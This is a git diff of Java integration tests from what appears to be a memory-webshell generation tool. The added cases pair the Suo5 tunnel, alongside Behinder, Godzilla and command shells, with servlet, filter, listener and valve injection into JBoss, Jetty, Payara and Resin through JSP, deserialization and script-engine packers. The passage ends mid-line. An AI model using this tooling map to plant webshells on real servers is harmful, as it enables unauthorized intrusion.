b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index a377c62f..b4b19ffb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -49,18 +49,24 @@ public class JbossEap7ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index 908e050a..7d7e1521 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -48,18 +48,24 @@ public class Jetty10ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index 8a22ee60..461be6a9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -48,18 +48,24 @@ public class Jetty11ContainerTest { arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index 5b0e408a..a659dad0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -47,18 +47,24 @@ public class Jetty61ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize) // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index 4fa7f8f8..39fbd881 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -48,18 +48,24 @@ public class Jetty76ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index 940fce28..92c9856b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -48,18 +48,24 @@ public class Jetty81ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index e75e5d53..119a9671 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -49,18 +49,24 @@ public class Jetty92ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index 8e2418b7..9a79f7be 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -48,18 +48,24 @@ public class Jetty93ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 935404a4..7183c77e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -48,18 +48,24 @@ public class Jetty94ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java index 94fc1308..c3e96303 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -50,6 +50,9 @@ public class Payara5201ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), @@ -59,6 +62,9 @@ public class Payara5201ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine), @@ -67,7 +73,10 @@ public class Payara5201ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine) + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index 978da73b..4a5519a2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -47,18 +47,24 @@ public class Payara520225ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize) + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index 3c575d4a..3f692f8c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -47,18 +47,24 @@ public class Payara620222ContainerTest { arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize) + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java index bcc7d069..06489b6c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -49,18 +49,24 @@ public class Resin3116ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, 